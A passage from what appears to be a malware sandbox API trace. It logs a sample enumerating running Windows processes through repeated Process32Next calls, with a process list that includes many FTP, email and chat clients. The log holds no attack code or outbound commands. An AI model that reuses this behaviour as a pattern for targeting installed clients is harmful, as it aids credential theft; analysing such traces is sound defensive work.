hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0257.251] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0257.426] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0257.429] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0257.430] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0257.432] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0257.434] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0257.435] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0257.437] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0257.439] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0257.440] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0257.442] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0257.445] CloseHandle (hObject=0x1038) returned 1 [0257.445] Sleep (dwMilliseconds=0x64) [0257.489] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1038 [0257.500] Process32First (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.501] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0257.503] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0257.554] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.556] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0257.557] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.559] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0257.560] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0257.562] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0257.564] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.565] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.567] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0257.568] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.569] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.571] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.572] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.574] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.575] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.577] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.578] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0257.579] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0257.581] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0257.582] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.584] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0257.585] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0257.587] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0257.588] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0257.590] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.591] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0257.593] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0257.594] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0257.596] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0257.646] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0257.648] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0257.650] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0257.652] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0257.653] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0257.655] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0257.657] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0257.658] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0257.661] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0257.663] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0257.665] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0257.666] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0257.668] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0257.669] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0257.671] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0257.672] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0257.673] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0257.675] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0257.676] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0257.678] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0257.679] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0257.681] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0257.682] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0257.684] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0257.685] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0257.686] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0257.688] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0257.690] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0257.741] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0257.744] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0257.747] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0257.749] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0257.752] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0257.755] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0257.757] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0257.759] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0257.761] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0257.763] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0257.765] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0257.766] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0257.768] Process32Next (in: hSnapshot=0x1038, 